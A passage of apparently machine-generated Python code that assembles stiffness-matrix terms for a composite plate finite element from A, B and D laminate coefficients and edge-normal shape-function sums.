f43*le4*nx4)/Ac + (B16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i3*dof+3, i3*dof+1] += Ac*((B12*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (B16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i3*dof+3, i3*dof+3] += Ac*((D11*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + D16*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (D16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + D66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i3*dof+3, i3*dof+4] += Ac*((D12*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + D26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (D16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + D66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i3*dof+3, i4*dof+0] += Ac*((B11*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B16*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (B16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i3*dof+3, i4*dof+1] += Ac*((B12*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (B16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + B66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i3*dof+3, i4*dof+3] += Ac*((D11*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + D16*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (D16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + D66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i3*dof+3, i4*dof+4] += Ac*((D12*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + D26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (D16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + D66*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i3*dof+4, i1*dof+0] += Ac*((B12*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (B26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i3*dof+4, i1*dof+1] += Ac*((B22*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B26*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (B26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i3*dof+4, i1*dof+3] += Ac*((D12*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + D16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (D26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + D66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i3*dof+4, i1*dof+4] += Ac*((D22*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + D26*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (D26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + D66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i3*dof+4, i2*dof+0] += Ac*((B12*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (B26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i3*dof+4, i2*dof+1] += Ac*((B22*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B26*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (B26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i3*dof+4, i2*dof+3] += Ac*((D12*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + D16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (D26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + D66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i3*dof+4, i2*dof+4] += Ac*((D22*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + D26*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (D26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + D66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i3*dof+4, i3*dof+0] += Ac*((B12*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (B26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i3*dof+4, i3*dof+1] += Ac*((B22*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B26*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (B26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i3*dof+4, i3*dof+3] += Ac*((D12*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + D16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (D26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + D66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i3*dof+4, i3*dof+4] += Ac*((D22*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + D26*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (D26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + D66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i3*dof+4, i4*dof+0] += Ac*((B12*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (B26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i3*dof+4, i4*dof+1] += Ac*((B22*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B26*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (B26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + B66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i3*dof+4, i4*dof+3] += Ac*((D12*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + D16*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (D26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + D66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i3*dof+4, i4*dof+4] += Ac*((D22*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + D26*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (D26*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + D66*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i4*dof+0, i1*dof+0] += Ac*((A11*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + A16*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (A16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + A66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i4*dof+0, i1*dof+1] += Ac*((A12*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + A26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (A16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + A66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i4*dof+0, i1*dof+3] += Ac*((B11*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B16*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (B16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i4*dof+0, i1*dof+4] += Ac*((B12*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (B16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i4*dof+0, i2*dof+0] += Ac*((A11*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + A16*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (A16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + A66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i4*dof+0, i2*dof+1] += Ac*((A12*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + A26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (A16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + A66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i4*dof+0, i2*dof+3] += Ac*((B11*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B16*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (B16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i4*dof+0, i2*dof+4] += Ac*((B12*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac + (B16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac) k0[i4*dof+0, i3*dof+0] += Ac*((A11*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + A16*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (A16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + A66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i4*dof+0, i3*dof+1] += Ac*((A12*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + A26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (A16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + A66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i4*dof+0, i3*dof+3] += Ac*((B11*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B16*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac + (B16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac) k0[i4*dof+0, i3*dof+4] += Ac*((B12*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f13*le1*ny1 + f23*le2*ny2 + f33*le3*ny3 + f43*le4*ny4)/Ac + (B16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f13*le1*nx1 + f23*le2*nx2 + f33*le3*nx3 + f43*le4*nx4)/Ac) k0[i4*dof+0, i4*dof+0] += Ac*((A11*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + A16*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (A16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + A66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i4*dof+0, i4*dof+1] += Ac*((A12*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + A26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (A16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + A66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i4*dof+0, i4*dof+3] += Ac*((B11*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B16*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + (B16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac) k0[i4*dof+0, i4*dof+4] += Ac*((B12*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + (B16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac + B66*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac)*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac) k0[i4*dof+1, i1*dof+0] += Ac*((A12*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + A16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (A26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + A66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i4*dof+1, i1*dof+1] += Ac*((A22*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + A26*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (A26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + A66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i4*dof+1, i1*dof+3] += Ac*((B12*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac + (B26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac) k0[i4*dof+1, i1*dof+4] += Ac*((B22*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B26*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f11*le1*ny1 + f21*le2*ny2 + f31*le3*ny3 + f41*le4*ny4)/Ac + (B26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + B66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f11*le1*nx1 + f21*le2*nx2 + f31*le3*nx3 + f41*le4*nx4)/Ac) k0[i4*dof+1, i2*dof+0] += Ac*((A12*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + A16*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f12*le1*nx1 + f22*le2*nx2 + f32*le3*nx3 + f42*le4*nx4)/Ac + (A26*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + A66*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + f44*le4*nx4)/Ac)*(f12*le1*ny1 + f22*le2*ny2 + f32*le3*ny3 + f42*le4*ny4)/Ac) k0[i4*dof+1, i2*dof+1] += Ac*((A22*(f14*le1*ny1 + f24*le2*ny2 + f34*le3*ny3 + f44*le4*ny4)/Ac + A26*(f14*le1*nx1 + f24*le2*nx2 + f34*le3*nx3 + 